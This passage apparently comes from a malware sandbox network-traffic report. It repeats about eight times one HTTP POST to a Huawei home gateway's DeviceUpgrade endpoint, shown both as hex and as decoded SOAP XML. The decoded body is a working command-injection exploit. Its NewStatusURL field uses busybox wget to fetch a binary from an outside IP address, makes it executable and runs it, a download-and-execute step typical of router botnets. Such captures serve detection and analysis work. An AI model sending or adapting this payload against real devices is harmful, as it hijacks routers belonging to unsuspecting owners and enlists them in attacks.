75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: 